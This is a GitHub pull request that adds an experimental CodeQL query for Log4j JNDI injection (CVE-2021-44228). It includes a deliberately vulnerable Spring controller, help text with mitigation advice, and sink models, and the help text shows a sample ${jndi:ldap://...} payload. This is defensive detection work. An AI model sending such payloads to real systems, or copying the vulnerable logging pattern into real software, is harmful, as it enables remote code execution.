Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Java: Experimental query for Log4j JNDI Injection #7354

Merged
merged 5 commits into from
Dec 14, 2021
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
package com.example.restservice;

import org.apache.commons.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Log4jJndiInjection {

private final Logger logger = LogManager.getLogger();

@GetMapping("/bad")
public String bad(@RequestParam(value = "username", defaultValue = "name") String username) {
logger.warn("User:'{}'", username);
return username;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>

<overview>
<p>
This query flags up situations in which untrusted user data is included in Log4j messages. If an application uses a Log4j version prior to 2.15.0, using untrusted user data in log messages will make an application vulnerable to remote code execution through Log4j's LDAP JNDI parser (CVE-2021-44228).
</p>
<p>
As per Apache's Log4j security guide: Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters
do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or
log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From Log4j 2.15.0, this behavior has been disabled by default. Note that this query will not try to determine which version of Log4j is used.
</p>
</overview>

<recommendation>
<p>
This issue was remediated in Log4j v2.15.0. The Apache Logging Services team provides the following mitigation advice:
</p>
<p>
In previous releases (>=2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true”
or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
atorralba marked this conversation as resolved.
Show resolved Hide resolved
Java 8u121 protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
atorralba marked this conversation as resolved.
Show resolved Hide resolved
</p>
<p>
You can manually check for use of affected versions of Log4j by searching your project repository for Log4j use, which is often in a pom.xml file.
</p>
<p>
Where possible, upgrade to Log4J version 2.15.0. If you are using Log4J v1 there is a migration guide available.
atorralba marked this conversation as resolved.
Show resolved Hide resolved
</p>
<p>
Please note that Log4j v1 is End Of Life (EOL) and will not receive patches for this issue. Log4j v1 is also vulnerable to other RCE vectors and we
recommend you migrate to Log4j 2.15.0 where possible.
</p>
<p>
If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.
</p>
</recommendation>

<example>
<p>In this example, a username, provided by the user, is logged using <code>logger.warn</code> (from <code>org.apache.logging.log4j.Logger</code>).
If a malicious user provides <code>${jndi:ldap://127.0.0.1:1389/a}</code> as a username parameter,
Log4j will make a JNDI lookup on the specified LDAP server and potentially load arbitrary code.
</p>
<sample src="Log4jJndiInjection.java" />
</example>

<references>
<li>GitHub Advisory Database: <a href="https://github.com/advisories/GHSA-jfh8-c2jp-5v3q">Remote code injection in Log4j</a>.</li>
</references>
</qhelp>
207 changes: 207 additions & 0 deletions java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql
Original file line number Diff line number Diff line change
@@ -0,0 +1,207 @@
/**
* @name Log4j log injection and LDAP JNDI injection
* @description Building Log4j log entries from user-controlled data may allow
* attackers to inject malicious code through JNDI lookups.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/log4j-injection
* @tags security
* external/cwe/cwe-020
* external/cwe/cwe-074
* external/cwe/cwe-400
* external/cwe/cwe-502
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.ExternalFlow
import DataFlow::PathGraph

private class LoggingSummaryModels extends SummaryModelCsv {
override predicate row(string row) {
row =
[
"org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];ReturnValue;taint",
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];ReturnValue;taint",
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];ReturnValue;taint",
"org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];ReturnValue;taint",
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[1];ReturnValue;value",
"org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[1];ReturnValue;value",
"org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];ReturnValue;value",
"org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[1];ReturnValue;value",
]
}
}
atorralba marked this conversation as resolved.
Show resolved Hide resolved

private class LoggingSinkModels extends SinkModelCsv {
override predicate row(string row) {
row =
[
// org.apache.logging.log4j.Logger
"org.apache.logging.log4j;Logger;true;" +
["debug", "error", "fatal", "info", "trace", "warn"] +
[
";(CharSequence);;Argument[0];logging",
";(CharSequence,Throwable);;Argument[0];logging",
";(Marker,CharSequence);;Argument[1];logging",
";(Marker,CharSequence,Throwable);;Argument[1];logging",
";(Marker,Message);;Argument[1];logging",
";(Marker,MessageSupplier);;Argument[1];logging",
";(Marker,MessageSupplier);;Argument[1];logging",
";(Marker,MessageSupplier,Throwable);;Argument[1];logging",
";(Marker,Object);;Argument[1];logging",
";(Marker,Object,Throwable);;Argument[1];logging",
";(Marker,String);;Argument[1];logging",
";(Marker,String,Object[]);;Argument[1..2];logging",
";(Marker,String,Object);;Argument[1..2];logging",
";(Marker,String,Object,Object);;Argument[1..3];logging",
";(Marker,String,Object,Object,Object);;Argument[1..4];logging",
";(Marker,String,Object,Object,Object,Object);;Argument[1..5];logging",
";(Marker,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
";(Marker,String,Supplier);;Argument[1..2];logging",
";(Marker,String,Throwable);;Argument[1];logging",
";(Marker,Supplier);;Argument[1];logging",
";(Marker,Supplier,Throwable);;Argument[1];logging",
";(MessageSupplier);;Argument[0];logging",
";(MessageSupplier,Throwable);;Argument[0];logging", ";(Message);;Argument[0];logging",
";(Message,Throwable);;Argument[0];logging", ";(Object);;Argument[0];logging",
";(Object,Throwable);;Argument[0];logging", ";(String);;Argument[0];logging",
";(String,Object[]);;Argument[0..1];logging",
";(String,Object);;Argument[0..1];logging",
";(String,Object,Object);;Argument[0..2];logging",
";(String,Object,Object,Object);;Argument[0..3];logging",
";(String,Object,Object,Object,Object);;Argument[0..4];logging",
";(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
";(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
";(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
";(String,Supplier);;Argument[0..1];logging",
";(String,Throwable);;Argument[0];logging", ";(Supplier);;Argument[0];logging",
";(Supplier,Throwable);;Argument[0];logging"
],
"org.apache.logging.log4j;Logger;true;log" +
[
";(Level,CharSequence);;Argument[1];logging",
";(Level,CharSequence,Throwable);;Argument[1];logging",
";(Level,Marker,CharSequence);;Argument[2];logging",
";(Level,Marker,CharSequence,Throwable);;Argument[2];logging",
";(Level,Marker,Message);;Argument[2];logging",
";(Level,Marker,MessageSupplier);;Argument[2];logging",
";(Level,Marker,MessageSupplier);;Argument[2];logging",
";(Level,Marker,MessageSupplier,Throwable);;Argument[2];logging",
";(Level,Marker,Object);;Argument[2];logging",
";(Level,Marker,Object,Throwable);;Argument[2];logging",
";(Level,Marker,String);;Argument[2];logging",
";(Level,Marker,String,Object[]);;Argument[2..3];logging",
";(Level,Marker,String,Object);;Argument[2..3];logging",
";(Level,Marker,String,Object,Object);;Argument[2..4];logging",
";(Level,Marker,String,Object,Object,Object);;Argument[2..5];logging",
";(Level,Marker,String,Object,Object,Object,Object);;Argument[2..6];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object);;Argument[2..7];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object);;Argument[2..8];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[2..9];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..10];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..11];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..12];logging",
";(Level,Marker,String,Supplier);;Argument[2..3];logging",
";(Level,Marker,String,Throwable);;Argument[2];logging",
";(Level,Marker,Supplier);;Argument[2];logging",
";(Level,Marker,Supplier,Throwable);;Argument[2];logging",
";(Level,Message);;Argument[1];logging",
";(Level,MessageSupplier);;Argument[1];logging",
";(Level,MessageSupplier,Throwable);;Argument[1];logging",
";(Level,Message);;Argument[1];logging",
";(Level,Message,Throwable);;Argument[1];logging",
";(Level,Object);;Argument[1];logging", ";(Level,Object);;Argument[1];logging",
";(Level,String);;Argument[1];logging",
";(Level,Object,Throwable);;Argument[1];logging",
";(Level,String);;Argument[1];logging",
";(Level,String,Object[]);;Argument[1..2];logging",
";(Level,String,Object);;Argument[1..2];logging",
";(Level,String,Object,Object);;Argument[1..3];logging",
";(Level,String,Object,Object,Object);;Argument[1..4];logging",
";(Level,String,Object,Object,Object,Object);;Argument[1..5];logging",
";(Level,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
";(Level,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
";(Level,String,Supplier);;Argument[1..2];logging",
";(Level,String,Throwable);;Argument[1];logging",
";(Level,Supplier);;Argument[1];logging",
";(Level,Supplier,Throwable);;Argument[1];logging"
], "org.apache.logging.log4j;Logger;true;entry;(Object[]);;Argument[0];logging",
"org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging",
"org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging",
"org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging",
"org.apache.logging.log4j;Logger;true;traceEntry;(Message);;Argument[0];logging",
atorralba marked this conversation as resolved.
Show resolved Hide resolved
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Object[]);;Argument[0..1];logging",
"org.apache.logging.log4j;Logger;true;traceEntry;(String,Supplier[]);;Argument[0..1];logging",
"org.apache.logging.log4j;Logger;true;traceEntry;(Supplier[]);;Argument[0];logging",
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage);;Argument[0];logging",
"org.apache.logging.log4j;Logger;true;traceExit;(EntryMessage,Object);;Argument[0..1];logging",
"org.apache.logging.log4j;Logger;true;traceExit;(Message,Object);;Argument[0..1];logging",
"org.apache.logging.log4j;Logger;true;traceExit;(Object);;Argument[0];logging",
"org.apache.logging.log4j;Logger;true;traceExit;(String,Object);;Argument[0..1];logging",
atorralba marked this conversation as resolved.
Show resolved Hide resolved
// org.apache.logging.log4j.LogBuilder
"org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Object);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object[]);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object);;Argument[0..2];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object);;Argument[0..3];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object);;Argument[0..4];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier[]);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging"
]
}
}

/** A data flow sink for unvalidated user input that is used to log messages. */
class Log4jInjectionSink extends DataFlow::Node {
Log4jInjectionSink() { sinkNode(this, "logging") }
}

/**
* A node that sanitizes a message before logging to avoid log injection.
*/
class Log4jInjectionSanitizer extends DataFlow::Node {
Log4jInjectionSanitizer() {
this.getType() instanceof BoxedType or this.getType() instanceof PrimitiveType
}
}

/**
* A taint-tracking configuration for tracking untrusted user input used in log entries.
*/
class Log4jInjectionConfiguration extends TaintTracking::Configuration {
Log4jInjectionConfiguration() { this = "Log4jInjectionConfiguration" }

override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }

override predicate isSink(DataFlow::Node sink) { sink instanceof Log4jInjectionSink }

override predicate isSanitizer(DataFlow::Node node) { node instanceof Log4jInjectionSanitizer }
}

from Log4jInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "This $@ flows to a Log4j log entry.", source.getNode(),
"user-provided value"